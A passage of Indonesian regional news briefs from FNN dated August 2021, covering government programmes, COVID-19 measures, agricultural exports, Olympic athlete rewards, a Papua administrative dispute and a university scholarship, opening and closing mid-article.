berpotensi merusak spirit Pancasila, yang seharusnya menjadi misi luhur BPIP. Menurut Toto yang juga Direktur Eksekutif Citra Komunikasi LSI Denny JA ini, tema yang diusung dalam lomba tersebut terkesan sangat dipaksakan, karena isu tentang Hormat Bendera Merah Putih dan Menyanyikan Lagu Kebangsaan itu bukan isu mainstream umat dan bangsa saat ini. Kenapa? Karena umat Islam sudah ‘clear’ dengan isu itu sejak lama. “Mengangkat tema dengan isu tersebut sama saja dengan mengusik ketenangan umat Islam yang sudah tak lagi mempersoalkan itu. Hukumnya sudah jelas, kenapa masih harus dicari-cari lagi apa hukumnya dalam Islam. Ini sama saja dengan tak percaya kepada umat Islam. Masih banyak tema lain yang lebih aktual dengan kebutuhan bangsa saat ini,” Toto khawatir, acara lomba yang didasari pola pikir sesat dan menyesatkan seperti itu, akan mengundang tafsir liar tentang tuduhan adanya oknum petinggi BPIP yang mengidap Islamophobia. Tuduhan ini jelas akan makin menjauhkan BPIP dengan misi utamanya, sebagai badan pembinaan ideologi Pancasila. “Jangan sampai, Badan pembinaan ini pada saatnya menjadi badan yang harus dibina. Padahal, disitu berkumpul sejumlah tokoh besar yang harusnya memproduksi ide-ide dan program besar, bukan ecek-ecek yang mengerdilkan nama besar itu. Dan ini yang akhirnya membuat nama besar BPIP tak berbanding lurus dengan realita di lapangan,” kata Toto Terkait dengan itulah, Toto menilai perlu dilakukan evaluasi total terhadap keberadaan lembaga negara yang diberi tugas khusus dalam pembinaan Ideologi Pancasila ini. Apalagi, menyangkut anggaran yang tidak kecil buat menghidupi lembaga tersebut. Idealnya, lanjut Toto, ditengah negara dan bangsa yang sedang mengalami rentetan masalah besar saat ini, termasuk wabah covid-19, BPIP harusnya tampil dengan program besar, bukan ide kerdil dan dangkal. “Jangan biarkan rakyat menuduh BPIP bikin acara lomba artikel hanya untuk habiskan anggaran,” tegasnya. (sws)

Pemerintah Miliki Komitmen Kuat Lindungi Pekerja Migran

Jakarta, FNN - Pemerintah memiliki komitmen yang kuat dalam melindungi kepentingan Calon Pekerja Migran Indonesia (CPMI) atau Pekerja Migran Indonesia (PMI) beserta keluarganya melalui pemenuhan hak di setiap kegiatan penempatan. "Salah satu upaya pemerintah untuk meningkatkan pelindungan PMI adalah mengubah paradigma yaitu bahwa PMI bukan lagi sebagai obyek, tetapi mereka merupakan subyek penempatan," kata Menteri Ketenagakerjaan Ida Fauziyah, saat menjadi Keynote Speaker pada acara Congress Of Indonesia Diaspora (CID) dengan tema Pekerja Migran Indonesia (PMI) di Masa Covid-19: Tantangan, Kontribusi, dan Harapan, di Jakarta, Sabtu, 14 Agustus 2021. Dalam keterangan tertulisnya, Menaker Ida menuturkan, sebagaimana diamanatkan dalam Undang-Undang No 18 Tahun 2017 tentang Pelindungan Pekerja Migran Indonesia (UU PPMI), pemerintah mengharapkan bahwa pada masa yang akan datang, tidak akan ada lagi PMI bekerja di sektor informal yang mengandalkan low skill. "Pada sektor ini sering menjadi sumber permasalahan seperti gaji tidak dibayar, PHK, dan kasus hukum lainnya," kata dia, sebagaimana dikutip dari Antara. Terkait hal tersebut, Menaker Ida memiliki empat pandangan strategis di antaranya terkait isu kesehatan; pengawasan dalam menjamin kesehatan fisik dan mental; jaminan sosial; serta penyediaan pusat pelindungan PMI di negara penempatan. Pertama, mengenai kesehatan Pekerja Migran Indonesia. Menurut UU PPMI, setiap CPMI harus sehat secara jasmani dan rohani yang dibuktikan dengan surat keterangan sehat berdasarkan hasil pemeriksaan kesehatan dan psikologi. Kedua, mengenai Pengawasan Pemerintah dalam hal kesehatan fisik dan mental, menurut Pasal 21 UU PPMI, disebutkan bentuk-bentuk pelindungan selama bekerja. Ketiga, mengenai Jaminan Sosial, di mana Jaminan sosial bagi PMI telah diatur dalam Peraturan Menteri Ketenagakerjaan No. 18 Tahun 2018 tentang Jaminan Sosial Pekerja Migran Indonesia. "Dalam Permenaker No. 18 Tahun 2018, disebutkan bahwa jaminan sosial ketenagakerjaan yang dilaksanakan oleh BPJS Ketenagakerjaan menyelenggarakan 3 (tiga) program yaitu Jaminan Kecelakaan Kerja; Jaminan Kematian; dan Jaminan Hari Tua," jelas Menaker Ida. Keempat mengenai Penyediaan Pusat Pelindungan PMI di negara penempatan. Terkait dengan pusat pelindungan PMI di negara penempatan, Menaker Ida mengatakan bahwa pada prinsipnya telah dilaksanakan oleh Perwakilan Indonesia di negara penempatan. "Jadi, perwakilan Indonesia di negara penempatan, khususnya yang memiliki Atase Ketenagakerjaan, telah membuka layanan pelindungan PMI, yang dimulai dari layanan pengaduan, layanan pendampingan/advokasi, layanan penyelesaian permasalahan, serta layanan lainnya yang bertujuan untuk menunjang optimalisasi perlindungan PMI di negara penempatan," tambah dia. Ida memberikan apresiasinya kepada Komunitas Diaspora Indonesia yang selama ini memiliki peran strategis untuk turut serta dalam merangkul PMI sebagai elemen dalam diaspora Indonesia, mengingat potensi yang mereka miliki cukup besar dalam berkontribusi dalam pembangunan dalam negeri. (MD).

Anies Serahkan Hadiah Rumah Rp 3,3 Miliar untuk Greysia-Apriyani

Jakarta, FNN - Gubernur DKI Jakarta, Anies Baswedan menyerahkan hadiah kepada atlet bulu tangkis peraih emas di Olimpiade Tokyo 2020, Greysia Polii dan Apriyani Rahayu masing-masing satu unit rumah beserta interior senilai Rp 3,3 miliar dan uang tunai Rp 800 juta. "Kali ini kita bangga dengan dua putri terbaik di saat bangsa kita mengalami ujian," kata Gubernur DKI Jakarta Anies Baswedan setelah menyerahkan bonus kepada Greysia-Apriyani di Pusat Pelatihan Olahraga Pelajar (PPOP) Jakarta, Sabtu, 14 Agustus 2021. Pemberian apresiasi berupa rumah tersebut dipersembahkan oleh Yayasan Pembangunan Jaya Raya selaku lembaga yang membina pasangan ganda putri tersebut. Sedangkan uang tunai sebesar Rp800 juta diberikan Pemprov DKI Jakarta masing-masing kepada Greysia dan Apriyani. Keduanya juga mendapatkan kartu anggota Ancol yang berlaku seumur hidup dari PT Pembangunan Jaya Ancol. Selain bagi kedua atlet, para pelatih di Pelatnas PBSI Cipayung, Jakarta Timur, juga mendapat apresiasi. Eng Hian selaku pelatih ganda putri mendapatkan uang tunai Rp 200 juta serta Rp 480 juta dari Pemprov DKI Jakarta. Kemudian, Asisten Pelatihan Chafidz Yusuf dan pelatih fisik Ari Subarkah diberikan apresiasi sebesar Rp 50 juta. Dikutip dari Antara, Jaya Raya ikut menjadi kontributor. "Jadi kami di Jakarta merasa bersyukur bahwa ini terus berhasil menyuplai pasokan prestasi," kata Anies. Greysia merasa terharu dengan pemberian apresiasi tersebut. Meski begitu, prestasi yang keduanya raih bukan keberhasilan mereka berdua namun berkat perjuangan dan keberhasilan semua pihak mulai pembina dan pelatih. "Kami di sini bukan karena keberhasilan kami berdua tapi keberhasilan kita semua, pembina, pelatih, dari kecil hingga hari ini benar-benar luar biasa perjuangan kami semua hingga mencetak dan menghasilkan prestasi luar biasa untuk Indonesia, Jaya Raya dan DKI," kata Greysia. Senada dengan Greysia, Apriyani juga berterima kasih kepada semua pihak dari pembina dan pelatih termasuk Pemprov DKI dan PBSI hingga dukungan dari masyarakat Indonesia. "Terima kasih juga untuk masyarakat Indonesia untuk doanya karena itu sangat berharga saat olimpiade itu yang bisa kami rasakan dan dalam keadaan pandemi juga," katanya. (MD).

Perkiraan Investasi di Jawa Barat Selatan Rp 7.9 Triliun

Bandung, FNN - Provinsi Jawa Barat (Jabar) tidak saja mengembangkan wilayah bagian Utara. Akan tetapi, juga Selatan sebagai prioritas pembangunan jangka menengah dan panjang, dengan total proyek investasi diperkirakan mencapai Rp 7,9 trillun. "Investasi menjadi salah satu pendukung pertumbuhan ekonomi Jabar yang pada triwulan II 2021 mencapai 6,13 persen," kata Gubernur Jawa Barat Ridwan Kamil saat pembukaan Infrastruktur Forum - Road to West Java Investment Summit 2021 yang diselenggarakan Bank Indonesia dan Universitas Padjadjaran di Kota Bandung, Sabtu, 14 Agustus 2021. Dia mengatakan, selama lima tahun terakhir investasi memberikan kontribusi rata- rata 24 persen pada pertumbuhan ekonomi total. Tercatat, pada semester I/2021 realisasi investasi di Jabar Rp 72,46 triliun, lebih tinggi dibandingkan periode yang sama tahun 2020 sebesar Rp 57,89 triliun. Realisasi investasi tersebut merupakan yang terbesar secara nasional, meskipun di sisi lain masih terdapat potensi risiko ketidakpastian akibat pandemi Covid-19. Sementara itu, Kepala Bank Indonesia Jabar Herawanto mengatakan Jabar menjadi bagian penting pertumbuhan ekonomi Indonesia dan Jabar satu dari tiga provinsi paling kompetitif di Indonesia. Menurut dia setidaknya ada tigafaktor pendorong pada 2020, yaitu daya tarik investasi asing langsung (FDI), ketersediaan infrastruktur fisik, serta ketersediaan SDM melimpah. Infrastruktur transportasi seperti jalan tol, pelabuhan, dan bandar udara Jabar juga sangat mendukung konektivitas wilayah yang memudahkan lalu lintas logistik barang. Konektivitas jadi salah satu pertimbangan investasi. "Kesiapan infrastruktur yang menghubungkan Jabar bagian Utara dan Selatan merupakan poin penting untuk menarik minat investor di tahun-tahun mendatang mengingat potensi yang ada di kedua wilayah tersebut," ujarnya sebagaimana dikutip dari Antara. Di bagian Selatan, ada potensi pariwisata sebagai sumber penghasil devisa yang tinggi. Kemudian potensi pertanian, kelautan, dan perikanan dapat membantu penyediaan pangan strategis untuk pengendalian inflasi. Menurutnya, pengembangannya perlu didukung oleh sarana infrastruktur seperti jalan tol Bandung — Tasikmalaya — Cilacap (Baticap), Jalur Tengah Selatan (TS), moda transportasi, pengairan dan irigasi, air minum dan sanitasi, pariwisata, serta kelautan dan perikanan yang memadai. Herawanto menyampaikan rekomendasi untuk mendukung pengembangan investasi di Jabar selatan yakni diversifikasi sumber pembiayaan, penguatan sinergi antarstakeholders, dan pengelolaan ekonomi kawasan konservasi berbasis teknologi. Acara Infrastruktur Forum menjadi awal dari rangkaian menuju West Java Investment Summit (WJIS) 2021 yang rencananya akan digelar 19 Agustus mendatang, dan puncak Oktober 2021. WJIS 2021 kembali akan hadir sebagai event bergengsi untuk memperkenalkan proyek investasi unggulan Jabar, mempertemukan dengan investor potensial, sekaligus sebagai event sinergi. WJIS diselenggarakan atas kolaborasi Bank Indonesia bersama dengan Pemda Provinsi Jabar, Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP), serta seluruh stakeholders terkait. (MD).

Tiga Komoditas Unggulan Lampung Jadi Sasaran Ekspor

Bandarlampung, FNN - Kepala Balai Karantina Pertanian Lampung M Jumadh, mengatakan ada tiga komoditas unggulan di Lampung yang menjadi sasaran ekspor dalam gerakan "Merdeka Ekspor" menyambut HUT ke-76 Kemerdekaan RI. "Untuk Lampung yang kita ekspor pada 'Merdeka Ekspor', yakni komoditas unggulan seperti kopi, nanas, dan lada," kata Jumadh, di Bandarlampung, Sabtu. Namun begitu, ia mengatakan selama periode Agustus 2021 Provinsi Lampung tercatat telah mengekspor produk pertanian dari berbagai sub sektor seperti perkebunan, tanaman pangan, hortikultura, kehutanan, dan jenis lainnya. "Dari berbagai ekspor komoditas pertanian di Lampung tersebut nilai ekspor pada Agustus ini mencapai Rp660,5 miliar," kata dia. Bahkan, lanjut dia, berdasarkan volume dan nilai yang dilaporkan Menteri Pertanian ke Presiden, nilai ekspor Lampung masuk urutan ke 4 dari 17 pintu pengeluaran ekspor. "Untuk sementara pangsa pasar ekspor komoditas Lampung sejauh ini yang terbesar berada di China dan Amerika," kata dia. ​​​​​Jumadh menjelaskan, berdasarkan data Indonesia Quarantine Full Automation System (IQFAST) pada tahun 2020 ekspor pertanian Provinsi Lampung mencapai Rp10,7 triliun, naik 20,6 persen dari periode sebelumnya yaitu Rp8,25 triliun. Sedangkan, pada semester pertama tahun 2021 ekspor pertanian Lampung telah mencapai Rp5,6 triliun atau naik sebesar 32,14 persen dibandingkan periode yang sama di tahun sebelumnya, yang mencapai Rp3,8 triliun. "Peningkatan ekspor pertanian Lampung butuh usaha bersama. Bersinergi menjadi kunci utama membawa produk pertanian Lampung ke pasar Internasional," kata dia. (mth)

Menko Airlangga Pastikan Perlindungan Sosial Masyarakat Sudah Berjalan

Solo, FNN - Menko Bidang Perekonomian RI Airlangga Hartarto memastikan perlindungan sosial kepada masyarakat di tengah pandemi COVID-19 sudah berjalan. "Bagaimana kesehatan bisa dijaga dan saat ini di Pulau Jawa (kasus COVID-19) sudah mulai landai," katanya usai melakukan pertemuan secara tertutup dengan Wali Kota Surakarta Gibran Rakabuming Raka di Loji Gandrung Solo, Sabtu. Selain itu, beberapa daerah di luar Pulau Jawa juga sudah mulai landai, di antaranya Sumatera Utara, Sumatera Barat, Sumatera Selatan, Lampung, dan Kalimantan Selatan. "Kalau di Solo sudah landai dan harapannya ini terus dijaga," katanya. Pada kesempatan tersebut, Airlangga yang didampingi oleh Menteri Perindustrian Agus Gumiwang Kartasasmita menyalurkan bantuan kepada masyarakat setempat berupa ayam dan telur sebanyak 1 ton. "Silaturahmi ini untuk mengutarakan berbagai hal terkait dengan penanganan COVID-19 di Solo. Kami juga memberikan bantuan berupa konsentrator oksigen ada 100 unit, paket sembako ada 10.000 paket, telur ayam 500 kg, daging ayam beku 500 kg, dan 10.000 masker," katanya. Mengenai pertemuan tersebut, Gibran mengatakan ada beberapa hal yang dibicarakan pada pertemuan tersebut. "Ya, membicarakan tentang COVID-19, penyaluran bantuan," katanya. Untuk bantuan dari Menko Bidang Perekonomian tersebut, dikatakannya, akan segera diserahkan kepada warga yang tengah menjalani isolasi mandiri. "Nanti biar diatur Dinas Sosial, tidak boleh lama-lama karena ada ayam beku juga, jadi segera didistribusikan ke warga," katanya. (mth)

Penutupan Jalur Pendakian Gunung Gede-Pangrango Diperpanjang

Cianjur, FNN - Pengelola Balai Besar Taman Nasional Gunung Gede Pangrango di Cianjur, Jawa Barat, kembali memperpanjang penutupan jalur pendakian Gunung Gede-Pangrango mulai dari 10 hingga 20 Agustus 2021. Kepala Balai Besar Taman Nasional Gunung Gede Pangrango (TNGGP) Wahyu Rudianto mengatakan, sehubungan dengan perpanjangan penutupan jalur pendakian, para pendaki yang sudah mendaftar untuk melakukan pendakian dalam periode itu bisa melakukan penjadwalan ulang atau meminta pengembalian uang pendaftaran. "Calon pendaki yang sudah mendaftar online serta sudah melakukan pembayaran dijadwal penutupan dapat melakukan penjadwalan ulang atau meminta uang kembali melalui telepon kantor khusus di nomor (0263 2950977," katanya sebagaimana dikutip dalam siaran pers TNGGP yang diterima di Cianjur, Sabtu. Sebagian pendaki asal Cianjur yang berencana melakukan pendakian di Gunung Gede mengobati kekecewaan mereka akibat perpanjangan penutupan jalur pendakian dengan mendirikan tenda di kawasan Gunung Putri. "Kita sudah menjadwal ulang untuk pendakian, namun untuk mengobati kecewa rindu muncak (naik gunung) kami nge-camp di Gunung Putri ini. Lumayan malam bisa melihat Kota Cipanas, paginya bisa melihat Gunung Gede, " kata pendaki asal Cianjur, Ridwan (18), yang diamini oleh teman-temannya. Balai Besar Taman Nasional Gunung Gede Pangrango belum bisa memastikan kapan jalur pendakian Gunung Gede-Pangrango dibuka lagi. Sesuai instruksi dari pemerintah, pembukaan kembali jalur pendakian gunung harus dilakukan dengan mempertimbangkan kondisi penularan COVID-19. (mth)

Penerapan PPKM Turunkan Tagihan Listrik PJU di Ngawi

Ngawi, FNN - Pemerintah Kabupaten (Pemkab) Ngawi, Jawa Timur mencatat penerapan PPKM selama bulan Juli hingga Agustus 2021 secara signifikan telah menurunkan jumlah tagihan listrik untuk penerangan jalan umum (PJU) di wilayah setempat dibandingkan bulan sebelumnya seiring dengan kebijakan pemadaman lampu kota. Kepala Bidang PJU Dinas Pekerjaan Umum dan Penataan Ruang (DPUPR) Kabupaten Ngawi Widya Decky Hariyanto mengatakan selama bulan Juni 2021 sebelum masa PPKM, tercatat jumlah tagihan PJU di Ngawi mencapai Rp1,491 miliar. "Sedangkan selama bulan Juli hingga awal Agustus 2021 saat diberlakukan PPKM, baik PPKM darurat maupun Level 4, tercatat tagihan PJU mencapai Rp1,470 miliar atau menurun sekitar Rp20,8 juta," ujar Widya Decky Hariyanto di Ngawi, Sabtu. Menurut dia, penurunan tagihan tersebut disumbang dari adanya kebijakan pemadaman PJU di sejumlah titik di wilayah Ngawi setiap malam mulai pukul 20.00 WIB karena ketentuan PPKM, baik darurat maupun level 4. Adapun pemadaman PJU di sejumlah titik tersebut bertujuan untuk mengurangi kerumunan dan mobilitas warga saat PPKM berlangsung. Ia menjelaskan pemadaman PJU di wilayah pusat kota Ngawi dilakukan di sejumlah fasilitas umum. Seperti di kawasan Alun-Alun Ngawi dan beberapa jalan protokol. Selain itu, pemadaman juga dilakukan di tujuh titik kecamatan wilayah Kabupaten Ngawi mulai pukul 20.00 WIB hingga pukul 06.00 WIB. Pihaknya berharap warga Ngawi mematuhi kebijakan pemerintah untuk membatasi mobilitas dengan tidak beraktivitas di luar rumah di saat lampu padam pada malam hari. Hal itu bertujuan untuk mencegah penularan COVID-19 di wilayah Ngawi yang masih berstatus PPKM level 4 dan zona merah. Tercatat, hingga Sabtu (14/8) ini, di wilayah Ngawi ada sebanyak 7.254 kasus konfirmasi positif COVID-19. Dari total tersebut, sebanyak 6.087 orang dilaporkan telah sembuh, 706 orang dinyatakan meninggal dunia, dan sebanyak 461 berada dalam perawatan. Tambahan kasus per Sabtu ini, konfirmasi baru 48 orang, sembuh 45 orang, dan meninggal dunia lima orang. (mth)

Tokoh Papua Minta Kemendagri Bantu Tuntaskan Dualisme Sekda Papua

Jakarta, FNN - Tokoh Perempuan Papua Sofia Maipauw meminta agar Kementerian Dalam Negeri (Kemendagri) membantu menuntaskan permasalahan dualisme jabatan Sekretaris Daerah (Sekda) Provinsi Papua. “Menteri Dalam Negeri (Mendagri) harus turun tangan untuk menyelesaikan permasalahan sekda. Siapa sekda yang sesungguhnya?” kata Sofia dalam seminar nasional bertajuk Papua Kini dan Nanti yang diselenggarakan secara daring, Sabtu. Bagi Sofia, kondisi ini menimbulkan kerancuan di tengah masyarakat Papua dan harus segera diselesaikan. Terlebih, posisi Wakil Gubernur (Wagub) Papua yang lowong sejak bulan Mei 2021 pascameninggalnya Klemen Tinal. Kejelasan posisi Sekda dan kondisi posisi Wagub Provinsi Papua, menurut Sofia, sangat dibutuhkan dalam rangka penyusunan Rancangan Peraturan Pemerintah (RPP) untuk mengawal implementasi perubahan kedua Undang-Undang (UU) Otonomi Khusus Papua. “Pokok-pokok pikiran yang harus kita tuangkan kedalam PP itu penting, tetapi Wagub dan Sekda masih tidak ada kejelasan,” tuturnya. Sofia mengatakan bahwa dirinya mendengar Provinsi Papua Barat telah siap mengirimkan RPP kepada pemerintah, dan ia berharap Provinsi Papua juga dapat melakukan hal serupa. “Oleh karena itu, posisi Wagub dan Sekda ini harus segera jelas, mengingat Rancangan Peraturan Pemerintah (terkait UU Otonomi Khusus Papua, red) harus segera kita usulkan ke Jakarta. Kita hanya mendapatkan waktu tiga bulan,” ucap Sofia menegaskan. Sebelumnya, pada bulan Maret 2021, Menteri Dalam Negeri Tito Karnavian melantik Dance Yulian Flassy menjadi Sekda Definitif Papua berdasarkan Keputusan Presiden (Keppres) 159/TPA/2020 tentang Pengangkatan Pejabat Pimpinan Tinggi Madya di Lingkungan Pemerintah Provinsi Papua. Hingga saat ini, Dance Yulian Flassy masih menjalani tugasnya sebagai Sekda Provinsi Papua, dan salah satunya adalah menghadiri pertemuan Forum Koordinasi Pimpinan Daerah (Forkopimda) Papua pada Kamis, 29 Juli 2021. Akan tetapi, di sisi lain, Ridwan Rumasukun telah melakukan serah terima tugas Sekda Provinsi Papua pada tanggal 14 Juli 2021 dan disaksikan secara langsung oleh Gubernur Provinsi Papua Lukas Enembe. Penyerahan tugas kepada Ridwan Rumasukun bertujuan untuk memperlancar persiapan Pekan Olahraga Nasional (PON) yang akan diselenggarakan di Papua. Tokoh Perempuan Papua ini berharap agar masyarakat Papua segera memperoleh kejelasan terkait kekosongan posisi Wagub dan solusi untuk dualisme Sekda. (mth)

Pemanjat Tiang Bendera Dapat Bingkisan Kemerdekaan dari Kapolda NTT

Kupang, FNN - Bocah pemanjat tiang Bendera Merah Putih pada saat upacara HUT ke-73 Republik Indonesia, Yohanes Gama Marchal Lau atau Joni, mendapatkan bingkisan kemerdekaan dari Kapolda NTT Irjen Pol Lotharia Latif dalam rangka menyambut HUT ke-76 RI tahun ini. Kapolres Belu AKBP Khairul Saleh kepada ANTARA di Kupang, Sabtu mengatakan bahwa bingkisan kemerdekaan dari Kapolda NTT itu dititipkan ke Polres Belu untuk diserahkan langsung ke Joni. "Berkat aksi heroiknya tersebut sehingga dalam rangka HUT RI ke-76 ini, bapak Kapolda NTT melalui kami, memberikan bingkisan sebagai bentuk apresiasi beliau untuk adik kita Joni," katanya. Khairul mengatakan bahwa pemberian bingkisan kemerdekaan ini merupakan bentuk apresiasi dari Kapolda NTT kepada Joni atas usahanya memanjat tiang bendera demi memperbaiki pengait yang bermasalah, yang pada akhirnya Bendera Merah Putih pun dapat berkibar gagah di perbatasan Indonesia-Timor Leste waktu itu. Kapolres Belu mengaku dirinya langsung mengunjungi sendiri kediaman dari Joni di Desa Silawan, Kecamatan Tasifeto Timur, Kabupaten Belu. Rumah yang ditempati saat ini juga adalah rumah yang dibangun oleh pemerintah pusat menggunakan APBN sebagai penghargaan kepada si Joni. Kapolres Belu menyampaikan bahwa, kunjungan ini sebagai wujud kepedulian dan apresiasi kepada Joni atas aksinya memanjat tiang bendera yang talinya sempat putus, sehingga bendera merah putih bisa dikibarkan. Kedatangan Kapolres Belu dan jajaran ini pun untuk memastikan yang bersangkutan tetap semangat dalam menuntut ilmu untuk meraih cita-citanya yakni ingin menjadi prajurit Tentara Nasional Indonesia (TNI). "Kita juga menyampaikan pesan dari Bapak Kapolda kepada adik Joni untuk tetap jaga kesehatan dan semangat dalam menuntut ilmu demi meraih cita-cita", kata Kapolres Belu. Sementara itu, Joni yang kini duduk di bangku kelas 10 di SMAN 1 Atambua, menyampaikan terima kasih kepada Kapolda NTT, atas kado atau bingkisan yang diberikan kepadanya. "Terima kasih kepada pak Kapolda NTT atas bingkisan Kemerdekaannya. Terima kasih juga buat pak Kapolres, atas kunjungan ini," ujar Joni. Ia menyampaikan bahwa cita-citanya hanya satu yakni ingin menjadi tentara. Oleh karena itu ia mengatakan bahwa dirinya akan belajar dengan rajin agar bisa mengapai cita-citanya. Joni sendiri sempat viral pada tahun 2018 lalu. Videonya saat memanjat tiang bendera menjadi perbincangan di seluruh media sosial dan medis-media mainstrem. Videonya itu membuat dirinya terkenal bahkan sampai sempat diundang ke Jakarta untuk menyaksikan secara langsung pertandingan demi pertandingan Asian Games 2018. Tak hanya itu, Joni bersama orang tuanya juga sempat diundang oleh Presiden Joko Widodo ke Istana Negara untuk berbincang-bincang dengan orang nomor satu di Indonesia itu. (mth)

Ekspor Pertanian Sumbar Capai Rp383,8 Miliar

Padang, FNN - Di tengah pandemi COVID-19 Sumatera Barat mengekspor komoditas pertanian senilai Rp383,8 miliar pada periode 9-14 Agustus 2021 ke sejumlah negara di Asia, Eropa, Afrika dan Amerika Serikat melalui Pelabuhan Teluk Bayur Padang. "Ini bukti bahwa sektor pertanian menjadi salah satu sektor yang tetap bisa bertahan dan mendukung perekonomian daerah di tengah pandemi," kata Gubernur Sumbar Mahyeldi di Padang, Sabtu saat melepas ekspor produk itu secara langsung di Gubernuran Sumbar. Produk pertanian yang diekspor diantaranya kayu manis, sawit, karet, pinang, pala, gambir, biji kopi, petai cina, kecombrang, jengkol dan beberapa produk lain yang memiliki pasar cukup luas di beberapa negara. Ia menyampaikan potensi ekspor tersebut terus ditingkatkan salah satunya dengan memperkuat hilirisasi produk pertanian di daerah sehingga yang diekspor bukan lagi komoditas mentah. "Kayu manis misalnya, kebutuhan di negara tujuan itu adalah yang sudah diolah menjadi bubuk. Demikian juga dengan karet. Kalau kita bisa membawa investor untuk membangun pabrik di Sumbar, nilai produknya tentu akan lebih tinggi," katanya. Ke depan, Organisasi Perangkat Daerah (OPD) terkait akan ditugaskan untuk mulai mempersiapkan program untuk hilirisasi produk pertanian seiring dengan visi misi yang dijabarkan dalam Rencana Pembangunan Jangka Menengah Daerah 2021-2026 yang juga fokus pada sektor pertanian. Lebih lanjut Mahyeldi mengatakan sejalan dengan upaya meningkatkan volume ekspor, harus didukung dengan ketersediaan pelabuhan laut yang memadai. Pelabuhan Teluk Bayur cocok dengan deskripsi itu tetapi saat ini masih ada kendala yaitu ukuran crane yang kecil sehingga tidak bisa mengangkat kontainer besar. "Kita berharap Pelindo II bisa mencarikan solusi hal ini sehingga ekspor produk asal Sumbar bisa berjalan dengan baik," ujarnya. Pelepasan ekspor produk pertanian Sumbar itu merupakan rangkaian dari program Merdeka Ekspor berupa ekspor komoditas pertanian secara nasional yang dilepas secara langsung oleh Presiden Joko Widodo secara virtual dari Istana Kepresidenan Bogor. Presiden dalam kesempatan itu mengungkapkan ekspor komoditas pertanian secara serentak melalui 17 pintu ekspor di bandara dan pelabuhan laut di berbagai daerah adalah momentum penguatan ekspor pertanian Indonesia dan menandai kebangkitan ekonomi nasional di tengah pandemi. Ia berpesan agar gubernur, bupati dan wali kota terus menggali potensi ekspor di daerah masing-masing sekaligus memberikan penguatan kepada petani di tingkat bawah. Penguatan itu selain permodalan juga penguasaan teknologi dan mekanisasi. "Berikan akses permodalan dan penguasaan teknologi kepada mereka agar bisa mengembangkan kualitas produk menjadi lebih baik. Saya sudah sampaikan kepada direktur utama sejumlah perbankan di Indonesia untuk memberikan perhatian khusus bagi sektor pertanian ini," katanya. Sementara itu Menteri Pertanian Syahrul Yasin Limpo mengatakan investasi dan ekspor merupakan faktor kunci untuk perkembangan ekonomi nasional terutama terkait pandemi. Kementerian Pertanian berupaya mendorong ekspor pertanian ke berbagai negara. Ekspor pertanian Januari-Juni 2021 mencapai Rp277,95 triliun atau naik 40,29 persen dari periode yang sama pada 2020. Ekspor secara nasional yang dilakukan itu sebanyak 627,4 juta ton dengan nilai Rp7,29 triliun meliputi produk perkebunan, tanaman pangan, horttikultura, peternakan, dan beberapa komoditas lain. Sementara negara tujuan utama diantaranya China, Amerika, India, Jepang, Korsel, Thailand, Malaysia, Inggris, Jerman, Rusia, UEA, Pakistan dan beberapa negara lain dengan total 61 negara. Di Sumbar, pelepasan ekspor komoditas pertanian itu diikuti oleh Kepala Badan Karantina Kelas I Pertanian Padang (BKP) Iswan, Wakil Ketua DPRD Sumbar Suwirpen, dan dihadiri oleh jajaran Forkopimda Sumbar, serta OPD di lingkup Pemprov Sumbar. (mth)

UMJ Luncurkan Beasiswa Peduli untuk Yatim Piatu

Ciputat, Tangsel, FNN - Universitas Muhammadiyah Jakarta (UMJ) meluncurkan Program Beasiswa Peduli yang diperuntukkan bagi 142 putera-puteri lulusan Madrasah Aliyah/Sekolah Menengah Atas/Sekolah Menengah Kejuruan (MA/SMA/SMK) yang ditinggal wafat salah satu atau kedua orangtuanya akibat terpapar COVID-19. Komitmen UMJ melalui kebijakan Beasiswa Peduli itu disampaikan Rektor UMJ Dr Ma’mun Murod MSi pada prosesi wisuda yang dilakukan secara virtual di Auditorium UMJ, Ciputat, Tangerang Selatan, Sabtu. ''Ini bukan gagah-gagahan. Ini masalah kemanusiaan,” katanya, sambil menambahkan bahwa kebijakan pemberian beasiswa itu merupakan bentuk empati dengan semangat “Teologi Al-Ma’un” yang mengajarkan bahwa “tangan di atas lebih baik dari tangan di bawah”. Menurut Rektor UMJ, program beasiswa yang diperuntukkan bagi 142 yatim piatu itu murni urusan empati dan peduli di era pandemi COVID-19 serta merupakan amal usaha Muhammadiyah. Muhammadiyah selama ini sudah terbiasa memberi, berta’awun kepada sesama. Ia menjelaskan, sebelumnya kebijakan beasiswa yang diberikan oleh UMJ dalam merespons masa pandemi COVID-19 sudah diawali dengan kebijakan beasiswa dalam dua model, yaitu yang diperuntukkan bagi masyarakat umum dan bagi keluarga besar Muhammadiyah. Beasiswa bagi masyakarat umum diberikan berupa potongan Sumbangan Pembinaan Pendidikan (SPP) di semester 1-3 sebesar 50 persen dan di semester 4-8 sebesar 30 persen. Di sisi lain, khusus untuk alumni SMA/MA/SMK Muhammadiyah, keluarga besar, dan putera/puteri kader Muhammadiyah diberikan beasiswa penuh berupa pembebasan pembayaran uang kuliah di semester 1-8. Sementara itu Wakil Rektor III UMJ Dr Misriandi MPd menjelaskan, penyebutan angka 142 penerima Beasiswa Peduli merupakan penggabungan angka 76 dan 66. Angka 76 merupakan usia Kemerdekaan Indonesia tahun 2021 ini dan angka 66 merupakan usia UMJ tahun ini. “Dengan semangat HUT RI ke-76 dan Milad UMJ ke-66, UMJ meluncurkan Program Beasiswa Peduli yang diperuntukkan bagi 142 putera-puteri lulusan MA/SMA/SMK yang berstatus yatim, piatu, atau yatim piatu,” ujar Misriandi saat menyampaikan keterangan di acara wisuda virtual tersebut. Wisuda daring UMJ pada 14 Agustus 2021 yang dilaksanakan untuk kedua kalinya selama pandemi COVID-19 itu meluluskan tiga sarjana Diploma 3, kemudian 1.397 wisudawan Program Sarjana S-1, 140 wisudawan Program Magister, lima wisudawan Program Doktor, dan 16 wisudawan Program Spesialis. Selain wisudawan reguler, UMJ juga meluluskan peserta wisuda tahfiz dari dua fakultas, yaitu Muhammad Ichsantansyah dan Haikhadia Gunawan dari Fakultas Agama Islam dan Mohammad Irfandri dari Fakultas Ilmu Sosial dan Ilmu Politik (FISIP). UMJ itu sendiri resmi didirikan pada 18 November 1955 dan menjadi Perguruan Tinggi Muhammadiyah (PTM) tertua di antara 176 PTM yang ada di seluruh Indonesia. Saat ini UMJ memiliki 10 fakultas dan 52 program studi, meliputi FISIP, Fakultas Hukum, Fakultas Ekonomi, Fakultas Teknik, Fakultas Agama Islam, Fakultas Pertanian, Fakultas 